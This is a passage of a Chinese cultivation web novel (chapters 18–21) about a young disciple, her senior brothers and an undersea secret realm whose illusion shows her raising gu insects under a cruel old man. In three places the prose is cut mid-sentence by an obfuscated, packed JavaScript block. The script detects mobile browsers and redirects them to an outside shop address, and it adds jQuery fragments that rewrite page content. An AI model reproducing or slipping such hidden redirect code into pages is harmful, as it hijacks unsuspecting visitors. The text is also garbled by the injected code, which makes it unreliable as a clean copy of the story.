见云朵还是情绪低落,季来之眼睛滴溜溜转了几圈,俯身凑到她耳边,小声道:“我告诉你个好消息,我之前游历的时候,在东海那边发现了一个海底秘境。我跟大师兄商量过了,等你们两个把伤养好,咱们三个做足准备去探探宝,没准能收获点什么奇珍异宝呢!” 云朵睁大眼睛:“秘境?!我……我能应付得来吗?” 季来之不解道:“有什么应付不来的,秘境又不一定都是危险的。上次我时间不太够,就在外围转了转,感觉危险倒是不多,倒是挺多致幻的机关,一个不小心就容易中招。” “听这意思,你是中过招?”云朵眯起眼,揶揄道。 “怎么可能!我是谁呀,这点小招数还想难倒我?”季来之虽然对云朵的质疑不满,但见她终于恢复了些活力,稍稍松了口气,“反正你就安心休养,别整天胡思乱想啦!哦对,之前你冲关时靠聚气丹吸纳来的灵气,可以趁这些日子转化一下,巩固一下修为。” 云朵郑重点头:“我知道了,你也赶紧回屋休息去吧。”她瞥了一眼季来之的脸色,还是没忍住,“看你脸白得跟个鬼一样。” 季来之额头青筋鼓起,咬牙道:“不是,你是不是得了什么‘三句话里必须有一句让季来之不爱听’的病?我脸白点怎么了?一白遮百丑听说过没有?” 云朵笑道:“师兄,你倒也不必妄自菲薄,你这张脸倒还没有到丑的地步。” 季来之怒道:“重点是这个吗!?算了算了,你还是睡着的时候比较可爱,我走了!” 说完,他一甩衣袖,头顶冒烟地冲出了门,将云朵的嘲笑声甩在了身后。 云朵睡了三天,此时毫无困意。她有意去看望一下夏南烛,但既怕打扰了他养病,又想到夏南烛伤成这样是因为她,心里又打起了退堂鼓,有些不知应该如何面对他。 思来想去,她决定听季来之的话,先把吸纳来的灵气转化成自己的灵力。 虽然这种临时抱佛脚的行为,不知道能管多少用,但能提升一点修为也好,免得又像上次一样,拖师兄们的后腿,害得他们受伤。 想通之后,云朵立马开始打坐,摒除心中杂念,全神贯注地引导着逸散在体内各处的灵气向经脉中聚集,最终流向丹田中的那颗闪着微弱光芒的小小金丹。 18. 空忆扶桑暖(5) 云朵这一打坐,就直接到了第二天清晨。 经过转化,她能感到体内的灵力凝实了不少,不再像之前那样无规则地在全身经脉里乱窜,冲撞得经脉隐隐作痛。 睁开眼,吐出一口浊气,云朵感觉身体都轻盈了不少,丹田内的金丹也比之前更加明亮了。 她下了床,收拾整齐,推开屋门。今天,她准备去看望一下夏南烛。 来到夏南烛屋门口,云朵深深呼吸,抬手叩门。 笃笃笃—— 片刻后,屋里响起了让她安心的声音。 “请进。” 云朵轻轻推门,见夏南烛一身素白,正半倚着床头看书。 见她来了,夏南烛合上了手中的书卷,放在一旁。 “二师兄,你怎么卧床养伤还在看书呀?” “我伤已无大碍,但大师兄不让我随意走动。”说到这个,夏南烛的语气颇为无奈,“明明我才是丹修…” 云朵道:“毕竟二师兄平时总是泡在炼丹房,每天都是披星而去,戴月而归。大师兄大概也是想让你借着这次养伤的机会,好好休息一下。” “或许吧。”夏南烛说着,上下打量了云朵一番,“岁宁,把手伸出来,我来看看你的伤势如何了。” “啊。”云朵有些懊恼,本来是她想来关心一下夏南烛的伤势,结果反而被抢先了。她伸出右手,夏南烛双指并拢搭在她的手腕处,半晌后收了回来。 “你脉象已趋于平缓,灵力运转也较通畅,是自己已经调息过了吗?” 云朵点头:“我从昨天醒来,一直打坐到今早,感觉经脉没有之前那么胀痛了。” 夏南烛难得露出一个浅浅的笑,道:“你之前强行吸纳的灵气确实已经转化了大半,等你将它们全部化为己用,才能算作真正伤愈。”他顿了顿,叹息一声,“……下次不可以这样冲动了。你的经脉若是被灵气冲毁,将会仙缘尽断,药石罔医。” 云朵郑重点头:“放心吧二师兄,我现在也是金丹期修士了,如果再面临之前那样的危险,也不会那么没用了。” 不会再需要你们用血肉之躯来替我挡住攻击,不想再看见你们浑身浴血地在我眼前倒下。 夏南烛本就不是个多话的人,想说的话都说完,便不再言语,只是用漆黑的眼瞳望着云朵。 云朵心里有想问的,但又有些踌躇。 关于她那些莫名其妙的噩梦,梦中的场景她虽毫无印象,但这些梦之间显然都是有联系的,说不定……与她失去的记忆有关。 夏南烛见她脸上风云变幻,却又迟迟不开口,只得主动打破沉默:“岁宁,你可是还有要问的事?” “嗯……”云朵斟酌了一下措辞,决定先从简单的问起,“二师兄,你会解梦吗?我最近总做噩梦。” 夏南烛皱眉,问道:“噩梦的内容,你还有印象吗?” 云朵道:“就是梦里有好多虫子,有的时候就远远地飞,有的时候会跑过来咬我。” 听完云朵的描述,夏南烛面色阴沉了几分,撑着身体便要下地。 云朵吓了一跳,赶忙按住他。 “二师兄,你这是要去哪儿?大师兄说了,你不能乱动!” 夏南烛无奈道:“我去给你炼些精心凝神的丹药,不劳多少神。” 云朵用力把他按回去,劝道:“那也不行!师兄你告诉我都需要哪几味药,我让炼丹房的弟子帮忙炼制就行了,你赶紧躺回去休息吧!” 夏南烛见她如此坚持,沉默片刻,让她从书桌上给他拿来了纸笔,飞快地写下了几味药材,递回给她:“这个方子你拿去给炼丹房,他们知道该怎么做。” 云朵接过药方,又千叮咛万嘱咐,让夏南烛不要随意下床走动,直到把夏南烛说得满头黑线,才捏着药方一溜烟跑出了房门。 “朵朵?原来你是去看南烛了呀。” 云朵循声望去,见云怀清独自坐在石桌旁,桌上摆着一套白玉茶具,手里端着的茶杯中还盛着澄黄的茶汤。 “大师兄?你怎么自己在这儿坐着?” 云怀清放下茶杯,笑道:“我找你有事,但刚刚敲你房门,没人应。我怕到处寻你反而错过去了,只好在这里等你自投罗网啦。” “那师兄找我,是有什么事呀?” 云怀清将右手食指竖在唇前,做了个“嘘”的手势。随后轻轻招手,示意云朵过去。 云朵满心疑惑地朝他走去,不理解云怀清到底是有什么神秘的事要说,在歇云处还要说悄悄话。 待云朵走近,云怀清从广袖中取出一个约莫一掌长的小卷轴,递到她面前,低声道:“这个给你拿着,不要告诉别人哦。” 云朵接过卷轴,仔细打量一番。卷轴的裹纸是沉邃的黛青色,细看能发现上面有银丝游走。檀木轴头入手微凉,被纸张一层一层地裹在最里面,裹藏着不知什么秘密。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062178|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大师兄,这是……” “这是‘美梦’,里面藏着一个能让你看到心中最想见之物的法术。今后,若你独自经历苦难,走到再也走不动的时候,你便打开它。虽然没办法帮你解决问题,但可以让你短暂地从清醒中抽离。让你能歇一歇,攒点勇气后继续上路。” 云朵还是第一次听见云怀清说这样的话,有些奇怪:“大师兄,你说得好可怕啊。有你们在,我怎么可能会陷入这种境地。” 云怀清无奈道:“你总有一天会独当一面的,到那时,你或许就会走到我们都到不了的地方了。” “我才不会呢!”云朵使劲摇头,她其实知道自己一直都是内门弟子中最没有修仙天赋的那一个,也从来不觉得自己能够超越师兄们,“就算我独自出门,肯定也会记得回家的路呀。只要能回来,在外面遇见再多的苦难,我都不怕!” “你呀……”云怀清伸出手摸了摸她的头,“总之,你先收下它,派不上用场是最好的。” “嘿嘿,大师兄给我的,我肯定都会收好的。” “对了,朵朵。”云怀清突然想到了什么,唤她,“来之前些日子跟我说,他以前外出时曾经误入过一个位于海底的秘境。他隐隐能感觉到秘境中有什么,但怕孤身深入应付不来,所以想等你和南烛伤愈后再一起去一次。” 云朵道:“巧了,昨天你走之后,三师兄就来我房里说了这事。” 云怀清道:“那你怎么想的?” 云朵低下头,双手绞着袖口,踌躇道:“我怕又像上次一样,因为我害得他们受伤。” 云怀清一愣,见她面露愧色,显然是上次的经历给她造成了不小的阴影,连忙安慰道:“不会的,这次你已经突破金丹期,修为比之前深厚不少。而且上次我们也有疏忽,以为只是哪里的怨气积攒太多,产生异象,没有料到背后藏着这种等级的魔物,所以才会中招。这次的秘境来之之前已经初步探索过,这次他们一定会做足准备再过去,肯定不会再像上次那样惊险了。” 云朵垂着眼睛,不说话。 云怀清话锋一转,又搬出了夏南烛:“这件事我也和南烛说过了,他也说这次要多做些准备。我这些时日再多画些符,保证你们不会有人再受那么严重的伤了。”他说着,伸手拍了拍云朵的肩膀,又轻轻施力,晃了晃,“所以别愁着一张脸了,嗯?” “嗯。”云朵最终还是抬眼望进云怀清温和的眸子里,点了点头。 19. 鲛室窥故我(1) 待三人伤愈,已是盛夏时节。 他们收拾好行囊,向云怀清辞行,然后御剑启程。 云朵立于盈盈剑上,盛夏的风扑面而来,裹挟着水汽和热浪,擦过她的脸颊和衣摆。 季来之作为此行的发起者,又是第二次去,自然飞在最前面带路,猎猎的风扬起他鲜红的衣袍和高束的马尾。 他平时头发都是随性一扎,松松垮垮的,行事也非常散漫,好像来到这人间就是来玩乐的。 这次他突然把头发绑的这么利索,云朵看着还怪不习惯的。 夏南烛则御剑飞在云朵左前方,还是一身白袍,面容沉静,与他们两人之间形成一个三角形。 他们从清晨飞到晚上,终于远远地看到了大海,以及海边渔村的灯火。 季来之指着那片灯火,道:“今天时间不早了,我们先找个人家借住一晚,明天再进秘境吧。” 云朵和夏南烛点点头,三人找了个僻静地方降落,选了村落中相对边缘的一户人家去敲门。开门的是一位头发花白的老伯,老伯打量了三人一眼,问道:“你们也是来借住的?” 季来之道:“是的,除了我们之外,还有别人也借住在您家吗?” 大伯点点头,叹了口气,道:“前些日子来过几波人,年纪看上去跟你们差不多,也都带着剑,说要去海里。看你们的样子,估计也是要去海里吧?这海里到底有什么啊?” 季来之摸了摸下巴,道:“其实我也不确定这海里有什么,只是能隐约感到一丝不寻常的气息,搞不好是个海妖呢!” 大伯吃惊道:“海妖?我在这渔村住了大半辈子,年轻的时候天天出去打渔,也没见过什么妖啊怪啊的。” 季来之露出一个高深莫测的笑:“大伯,这您就有所不知了。我们三人虽然看着年轻,但也已经有不少妖物死于我们剑下。这次海中的气息绝不寻常,搞不好是什么沉睡几百上千年的大妖,睡饿了要醒过来兴风作浪呢!” 那大伯狐疑地看着他们三人,犹豫道:“这海里真的有妖怪?” 见他不大相信,季来之继续添油加醋:“大伯,您仔细回忆回忆,之前在渔村借宿的人,您只见到他们出海,有看到他们回来吗?虽然我们这些修仙之人惯爱降妖除魔,但寻常的妖怪是不值得我们如此大动干戈的,更何况这么多人都有去无回,这海中的东西必然不简单啊。” 那大伯被他这一通忽悠,终于是有点相信了,担忧道:“他们那么多人去都没能回来,你们就去三个人,不更是危险吗?” 季来之道:“若是正面交锋,我们三个肯定还不够那东西塞牙缝的。但我们这次的目的是查看情况,若真的棘手,便要回去请我们宗门的长老出手了。” 大伯终于被他唬住了,赶紧把他们请进门,给他们收拾出来两间屋子,又去忙着张罗饭菜。 三人坐在饭桌前,相顾无言。季来之朝着他们俩挤眉弄眼,仿佛在说:“看我厉害吧!” 夏南烛:“……” 云朵:“……” 那可太厉害了,这瞎话简直是张口就来。明明是去探险的,被他这么一瞎编,俨然成了未雨绸缪,仗剑救世的英雄了。 他敢说,她俩都不敢听! 季来之见云朵和夏南烛沉默不语,手里掐了个决,云朵脑海里突然就响起了他的声音:“怎么不说话,你们不夸夸我吗?” 云朵大惊:“什么东西!?你怎么突然在我脑子里说话!” 季来之面上波澜不惊,声音里却带上了嫌弃:“这是传音诀!你个没见识的!” 云朵在内心愤怒地呐喊:“我见识的都是正经法术,谁要像你一样整天学些装神弄鬼的玩意儿!” 季来之也怒了:“这怎么就不正经了,这多适合传递秘密信息啊!” 云朵斜眼白他:“秘密信息?我怎么记得你是想让我们夸你来着?” “对呀!我刚才随机应变,既得到了情报,又掩盖了我们自己的真实目的,不该夸吗?” “是是是,毕竟我家三师兄有一颗七窍玲珑心,端的是天资聪慧,颖悟绝伦,慧黠天成,才华冠世……” “停停停!你这真是在夸我呢嘛?师兄,你看看她,阴阳怪气的。” 云朵一惊:“啥?二师兄也能听见?” 夏南烛没有言语,只是伸手揉了揉太阳穴。 这反应,肯定就是听见了! 云朵一下就蔫了。 季来之赢了她一手,骄傲地扬起了下巴。 好在没过多久,大伯就打破了这份沉默:“饭菜好了,都是今天新捞到的,保证新鲜啊!” 渔村里的人都是靠海谋生,吃的自然也都是些海草、海鲜之类的。云朵吃不惯海味,吃了两口就撂了筷子;夏南烛辟谷已久,无需进食;季来之见他俩这样,自然也不好意思吃太多。 晚饭过后,三人各自回到大伯准备的房间。 因为云朵是一个人住,大伯就给她分了间小的,屋里将将能摆下一张床和一个柜子。 她脱下外衣,躺在床上。 夜晚的海边没有城镇那样热闹,只能听见海浪拍打沙滩的声音。 云朵听着海浪声,翻了个身,面朝窗户,看向窗外的星空。 星河渺远,不知曾旁观过多少人世间的悲欢离合,又寄托了多少的思念与美梦。 既然如此,也不介意多我一个吧? 她闭上眼,在心中默念: 希望明天一切顺利,我们都能平安回家。 ----------------- 云朵是被脑海中的声音吵醒的。 “师妹师妹,起床啦!快起床!你再不起床,我跟师兄就不等你了啊!” 云朵一个鲤鱼打挺从床上起来,见窗外仍然是漆黑一片,有些懵:“这才几点啊?天还没亮就要出发?” “我们得趁着渔民出海之前出发,不然被他们看见了,尾随我们,我昨天的瞎话不就白编了?” 云朵心道有理,赶紧收拾好东西,轻轻地推门出去。 季来之和夏南烛已经在院子里等她了,见她来了,夏南烛在桌上放了一袋碎银,当作饭费和住宿费,然后三人一起翻墙出去。 他们赶到海边时,天边泛起了紫红色,把海面染得像被打翻的调色碟。 他们掐着避水诀,跳进海里,向着深处不断下潜,下潜,直到光再也触及不到的地方。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062179|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 游在最前面的季来之不知从哪掏出一颗会发光的珠子,光芒柔和,可以照亮前方几米的范围。 居然是夜明珠。 云朵纳闷了,季来之那儿怎么什么都有,外出游历能有这么多奇遇吗? 他们凭着夜明珠微弱的光亮,又在海里游了好一阵,季来之突然变换了方向,云朵跟过去一瞧,只见他们前方的海床上有一道巨大的裂缝。裂缝中漆黑一片,深不见底。裂缝周围,珊瑚如血,海藻如发,随着海中的暗流轻轻摇曳。 季来之回过头,用手指了指那道裂缝,率先游了进去,云朵和夏南烛紧随其后。 甫一穿过裂缝,眼前豁然开朗,周围也不再充盈着海水。 云朵深吸一口气,感觉有些不真实。 这秘境竟然在海底中开辟出了一番天地,狭窄漆黑的缝隙背后,藏着一个高大宽敞的空间,顶部镶嵌着大大小小的夜明珠,四周墙壁上伸出一排壁灯,灯罩中,烛火安静地燃烧,火光澄澄。 最中央的位置,摆放着一张桌子,珊瑚为底,白玉做面,桌上摆满了各式各样的贝壳。 季来之走到桌前,指着上面的贝壳道:“按照这个秘境的规矩,每个人需要选一个贝壳,每个贝壳对应着不同的考验。我之前来的时候试了四次,三次都是幻境,只有一次碰到了战斗。” 云朵问道:“有什么规律吗?” 季来之摇摇头:“至少我没找出来,所以你只能祈祷不要选到战斗了。” 云朵又问:“那通过考验之后,我能得到什么呀?” 季来之道:“这个不好说,我有两次什么也没得到。” 云朵惊道:“那岂不是有可能白忙活一场?” 季来之耸耸肩:“是呀,这种事情本来就靠运气啊!” 云朵心道完了,她的运气一直都不怎么好,万一选到了战斗,最后还什么都没有,岂不是憋屈死了。 云朵还在哀叹,夏南烛已经走上前,目光扫过桌面,拾起了一个平平无奇的贝壳。 那贝壳被他捧在手里,两枚壳瓣间的缝隙中溢出袅袅白烟,那烟雾仿佛识人,只漂浮在夏南烛周围,将他的身影包裹进去。 片刻之后,贝壳落地。 “看来二师兄选到了战斗啊。”季来之感叹一句,却并不着急。 云朵道:“你看上去并不担心二师兄啊。” “二师兄再怎么说也是能拿比武冠军的人,有什么好担心的?反而是你,万一也选到了战斗,发现打不过就赶紧用传送符。咱们是来寻宝的,不是来玩命的。” 云朵点点头,忐忑地看着桌上五颜六色的贝壳。她踌躇半天,挑了一枚小小的莹白色贝壳。 那贝壳触感冰凉,入手之后也开始散发雾气。云朵只觉眼前烟雾缭绕,已经看不清季来之的身影了。一片浓白中,一行字缓缓显现: 你喜欢蝴蝶,还是蜘蛛? 云朵有些无语,她这算是什么类型的考验,知识问答吗? 她不带一丝犹豫地回答:“蝴蝶。” 得到答案后,白雾开始渐渐散去,她惊讶地发现浓雾背后站着一个人,这个人她还见过。 是上次做梦时,梦中的那个老人。 20. 鲛室窥故我(2) 啧,怎么是这个老头啊。 云朵回想起这个老人在梦中奇怪的言行举止,还有那个诡异的梦,眉头皱得老高,手暗中去扶腰间的剑柄,却摸了个空,不由心下大惊。 没了武器,对面还站着个行为完全无法预测的陌生人,云朵不由得紧绷了身体,眼睛一眨不眨地盯着对面的老人。她用余光暗中扫量四周,盘算着若是老人突然发难,她要往哪边逃。 那老人却没像梦中那般疯癫,只是向她伸出手,嘴角扯了个僵硬的弧度出来:“你非常有天赋,以后就跟着我学炼蛊吧。” 炼蛊? 云朵觉得像吃了苍蝇一样恶心。 她想要开口拒绝,想破口大骂:我是正统的剑修,谁要学你那邪魔外道! 但她的身体却不听使唤,亦不受她的控制。她眼睁睁地看见自己的手抬起来,递到了老人掌中。 !!! 这幻境是让我来看戏的吗?我连我自己的身体都不能做主了,这幻境的考验难道是让我忍住,不要被气死吗! 即使在内心里骂了个天翻地覆,她也只能咬着牙,被那奇怪的老人领进了一个奇怪的木屋。 那木屋只有一扇门,没有窗子,把门一关,就透不进一丝光亮。 好在屋子正中间的木桌上点着一根蜡烛,烛光跳动,将他们二人的影子摇摇晃晃地映在了墙上。 老人将她领到桌前站好,拉开抽屉,从里面取出了一个漆黑的陶罐,推到她面前:“把你的蛊虫都放进来。” 云朵看见自己从口袋里掏出一个小小的蛊盅,揭开盖子,里面放着几只千奇百怪的蛊虫。有黑中带彩的蛹、蜷成一团还在蠕动的蜈蚣、浑身血红的蜘蛛…… 云朵看得头皮发麻。这地方到底是个什么风水宝地,怎么连虫子都长得这么与众不同?! 任凭她心里一万个不愿意,幻境依然强迫她观看这令她汗毛炸立的场景。 她看见自己伸手将蛊盅中的虫子都骨碌碌地倒进了陶罐里,那老人看着在陶罐中蛄蛹的虫子,皱紧了眉头,不悦地斥道:“太少了!你只用这么点蛊虫,何时才能炼出适合你的本命蛊!” 说罢,他急冲冲地走到墙角,拎起一个竹篓回到桌旁,从竹篓里抓出一把东西撒在桌面上。 云朵仔细一看,差点叫出声。 那老人撒的不是别的,而是一堆奇形怪状的蛊虫,月光色的蜈蚣,通体透明的蝎子,还有背着人脸花纹的蜘蛛。这些小东西在烛光下晕头转向地爬行,留下一道道泛着幽光的粘液痕迹。 “把你喜欢的都挑出来。“ 如果云朵能出声,她绝对已经用尖叫声把这竹屋的顶都掀翻了。可幻境中的“她”却丝毫不怕这些恶心的虫子,真的像在集市上挑商品一样,开始自己挑选符合要求的虫子了。 “她”的指尖触到了冰凉凉、滑腻腻的东西,是蜈蚣冰凉的甲壳。那百足虫突然蜷成弹簧状,“她”感到指尖一阵刺痛,惊叫一声缩回手,指甲缝里已经嵌进一粒血珠。 那老头却发出了嘶哑的笑声:“蛊童的血,正好做引子。“ “云朵”将受伤的手指含在嘴里,用另一只手捡起了几只虫子丢进陶罐里。 “血不够。”老人说着,夺过她那只受伤的手,用手握着之前被蛊虫咬到的手指,对着陶罐狠狠一捏。 在“她”的哭叫声中,几粒血珠掉进了陶罐中。罐子里的蛊虫顿时像是发了狂,瞬间扑到一起,相互撕咬起来。 那老人看着陶罐中的情景,满意地点了点头,盖上了盖子,又用蜡油封住罐口,动作堪称温柔。 但云朵只觉得一股寒气从脚下蔓延上来,她后颈的汗毛被激得集体起立。 “听着。”老人冰凉的掌心覆在她头顶,“现在它们在里面互相啃食,七天七夜后活下来的那个......”他的指甲突然掐进云朵的头皮,按着她的头靠近那只时不时发出令人牙酸的咯吱声的陶罐,“就是你的本命蛊。“ 烛火猛地蹿高,云朵在墙上看见自己扭曲的影子正慢慢俯身,像是要去亲吻陶罐。 云朵眨了眨干涩的双眼,眼前的景象逐渐模糊、褪色,溶化成了水,又很快显现出了新的场景。 还是那个竹屋,正中央的桌子上摆着陶罐,跟消失前的景象几乎一样。 这是直接跳到了七天后? 还不等云朵细想,一只手用力推了她肩膀一下,她站不稳,一个趔趄,扑到了桌上,震得陶罐晃了晃。 “打开它,迎接你的‘本命蛊’吧。”推她的老人说完,双手背后,冷冷地盯着她。 这死老头!等我有了本命蛊,让它第一个咬死你! 云朵在心里无能狂怒,幻境中的“她”非常听话地用指甲一点一点抠掉了密封着罐口的蜡油,小心翼翼地揭开盖子。 一股潮热扑到云朵脸上,带着令人反胃的腐甜味。她借着昏暗的烛光往罐子里看,只见罐底铺了一层碎屑,想必都是在蛊虫厮杀过程中,被撕扯下来的残肢断足。碎屑上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062180|195068||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面,大块一些的虫子尸体堆在一侧,形成了一座小山。另一侧,一只通体漆黑,但翅上带着些白色花纹的蝴蝶静静趴伏在罐壁上。 活到最后的,居然是只蝴蝶? “云朵”将右手食指伸进陶罐,那蝴蝶似是感应到了主人的到来,扑扇两下翅膀,轻盈地落在了她的手指上,有点凉,也有点痒。 “看来,这就是你的本命蛊了。”老人的声音听上去不悲不喜,“处理掉罐子里的东西,明天开始,让它斗蛊。”说完,老人不再管她,径自转身出了门。 云朵狠狠地瞪着他的背影,感觉自己的眼睛里能喷出火来。 可惜她现在属于人在屋檐下,不得不低头。她心中叹气,从口袋里取出自己的蛊盅,将蝴蝶轻轻放了进去。 既然都是本命蛊了,得给它起个名字啊。 云朵绞尽脑汁,努力调动肚子里为数不多的墨水。 作为她的本命蛊,身份地位必须得给足。 ……有了! “以后就叫你‘粉侯’吧!”她和幻境中的自己异口同声地说。 起了名字,收好本命蛊,她端起装满虫尸的陶罐,准备出去找地方挖个坑埋了。 就在这时,她隐约听见陶罐中传来了窸窸窣窣的声音,像是有只虫子正踩着满地的残肢碎屑,努力往外爬。 不是说厮杀到只剩一只吗?难道还有漏网之虫? “云朵”借着门口透进来的光,往罐子里看,只见几条鲜红的细足从层层叠叠五颜六色的残片中伸出,拨开挡路的东西,露出了一个圆滚滚的红色身躯。 一只通体鲜红的蜘蛛。 经过七天七夜的厮杀,陶罐里竟然活下来两只蛊虫,这是不是不太合规矩啊? 那……难道要杀了它吗? “云朵”盯着红蜘蛛,踌躇半晌,叹了口气,从口袋里掏出一个空的蛊盅,把红蜘蛛轻轻放了进去。 云朵对幻境中自己的行为非常满意。 就是嘛,人家好歹也是在七天七夜的血战中活下来的,弄死多可惜啊!不如偷偷留着,就当个奇兵用,毕竟连那个老头都不知道她手里还有另一只‘本命蛊’。 不过……这也意味着她得多想一个名字了。 云朵揉揉太阳穴,她实在是不擅长起名,正在她苦思冥想时,幻境中的“她”却突然出声了: “解忧。” 云朵看见“她”轻轻盖上了蛊盅的盖子,自言自语道:“以后,你就叫‘解忧’吧。” 21. 鲛室窥故我(3) “云朵”的话音刚落,眼前场景便如潮水般散去,褪色成最初的那片浓雾。一片苍白的雾气中,又浮现出另一个问题: 若给你一次‘长生’的机会,你会将它赠与别人,还是留给自己? 长生的机会?还有这种好事? 如果真的能不付出任何代价,就能永生…… 她的思绪不禁飘远,浮上海面,掠过大海,越过山峦,回到了她的家,浮云宗。 她看见山门外长阶上,采买回来的弟子们背着大大的行囊,一边抹汗,一边攀爬。他们时不时抬头,看看距离宗门还有多远,后面的台阶还有几级。 她看见焦香轩外,吃饱喝足的同门们怀里揣着点心,三三两两走在一起,有说有笑地出门去,奔赴不同的目的地。雪团懒洋洋地趴在路边的草坪里晒太阳,被路过的弟子左摸一下,右逗一下。每次被人碰了,它只张开眼看看来人,也不恼,只管享受。 她看见歇云处的院子里,一粉一红两道身影在上蹿下跳地追逐打闹,一会儿打到屋顶,一会儿又闹到树下。身着青衣和白衣的二人则对坐在石桌旁,桌上摆着棋盘,他们的注意力却总是被周围的打闹吸引过去,每每也只能无奈地相视一笑。 这是浮云宗的日常,是她希望能够永远持续下去的日子。 “你这个‘永生’的机会,是只能给一个人吗?” 白雾自然不会给她什么回答。 “好吧,那我就分开说。如果这个机会可以给不止一个人,我希望能够把它们给浮云宗的每一个人;但是如果只能给一个人,那就还是留给我自己吧。” “虽然我得到了长生,就要目送着宗中的大家一个一个离去,那我一定会很伤心。但无论将这个机会给任何人,那个人都会面对这种情况吧?我没有办法抉择让谁来做这个伤心的人,所以,还是留给我吧。” 回答完问题,她静静地看着白雾开始翻涌,然后缓缓凝聚成竹屋中的景象。 怎么还是在这个破地方呀? 云朵不开心地撇撇嘴,继续充当一个幻境中的演员和旁观者。 幻境的前半段,她一直看着自己在树林里找奇奇怪怪的毒物,然后把找到的毒物和粉侯一起丢进陶罐中,让它们厮杀。 那个老头管这个叫“斗蛊”,每只想要变强的蛊虫,都要经历漫长的斗蛊。每当它吃掉一只毒物,它就会变得更强一些。 云朵起初还很担心粉侯,毕竟在她的印象里,蝴蝶都是在花丛中飞来飞去的,这儿停停,那儿落落,从来没见这种生物打过架。但出乎她意料的是,每次活下来的都是粉侯。 每当陶罐的盖子被打开时,它都会扑扇着翅膀飞出来,轻轻落在“云朵”的手指上。 这样枯燥的捉虫斗蛊生活持续了一段时间。 一天,云朵在竹屋中等待老人。“她”今天从树林里抓来一只黑黄相间的百足虫,那虫子有她手掌那么长,窝在陶罐底部打着转蠕动。 “吱呀——”竹屋的门发出令人牙酸的响声,云朵抬头,看见老人迈步进门,身后还跟着一个看上去七八岁的小男孩。 什么情况?这位是她的新同学吗? 老人将小男孩拽到桌前,面对着陶罐。他用手指捏起“云朵”放在罐中的百足虫,眯着眼睛端详了一会儿,手指用力,将那虫子掐成两段。 云朵不知他葫芦里究竟卖的什么药,选择沉默。被老人带来的小男孩更是一脸惶恐不安,小小的身体都在颤抖。 老人掐死了百足虫,在衣摆上蹭了蹭手上的粘液,扭头对小男孩说:“把你的本命蛊放到罐子里。” 那小男孩抖得更厉害了,缩着肩膀,眼眶里都是泪水,随着他摇头的动作溢出来,滑落脸颊。 “放进去。”老人的声音更冷了三分。 小男孩还是不肯拿出蛊盅,只是低着头抽噎。 老人彻底失去耐心,一把扯掉了小男孩腰间的布袋。小男孩哭着去抢,被他一掌掴到地上。他不顾小男孩的哭喊和求饶,从布袋中掏出蛊盅,揭开盖子,将里面的虫子抖落到陶罐中。 云朵目瞪口呆地看着对面两人的闹剧,不是很理解他们在干嘛。 “把你的本命蛊也放进去。”老人用枯槁的手指指着桌上的陶罐。 “云朵”没有做多余的挣扎,乖乖打开蛊盅,让粉侯飞进陶罐。 老人盖上陶罐的盖子,抬起眼冷冷地看着她,声音沙哑道:“野生的毒物已经喂不饱你的本命蛊了,从今天开始,我会从寨子里挑一些本命蛊实力与你相当的人来陪你斗蛊。”他浑浊的眼珠被烛光染成暗淡的橙黄,“明天继续来,看看你的蛊能不能活下来。” 云朵腹诽道:怪不得那小孩哭那么惨,这老东西竟然想到这种损招,用本命蛊来养本命蛊。 怕不是炼了一辈子的蛊,已经心理扭曲了吧! 从这天起,那老人每天都会带一个人来竹屋与“云朵”斗蛊。他们有的哭天抢地,有的默默流泪,有的一脸麻木。 云朵看不到幻境中的自己脸上是什么表情,但只看肢体动作,“她”的内心大概是非常平静的。 或许是对自己的本命蛊有着绝对的自信,或许是并不在乎谁输谁赢。 日子一天天过去,她的对手年龄越来越大,直到有一天,老人没有再带任何人来竹屋。他就像幻境刚开始时那样,只身一人,背着一个竹篓,走进屋子。 事出反常必有妖,云朵心里也难得泛起一丝忐忑。 老人放下竹篓,道:“把你的本命蛊放到罐子里。” 云朵在心里翻了个大大的白眼,心道你是不是就会这一句呀。但幻境中的“她”依然乖乖地把粉侯放进了陶罐中。 粉侯进罐,那老人就开始从竹篓里不断地掏出一些品种正常但外貌奇异的虫子,把它们一一放入陶罐中。虫子放完了,又开始往里面放草药,直到陶罐被填满,罐口被草药挡得严严实实。 做完这些,他又伸手拉过“云朵”的手,掏出腰间别着的小刀,在“云朵”手掌上狠狠一划,鲜血霎时滴落在草药上。 这老不死的果然是已经心理变态了吧!! 云朵疼得龇牙咧嘴,在心里把他怒骂了百八十回,从天骂到地,从古骂到今,祖宗十八代都不能幸免的那种。 直到罐口能看到的草药都被血染红,老人才放开“云朵”的手。 他小心翼翼地盖好盖子,又用蜡油封住缝隙,抬头盯着“云朵”,嘴角挂着一丝奇异的微笑。 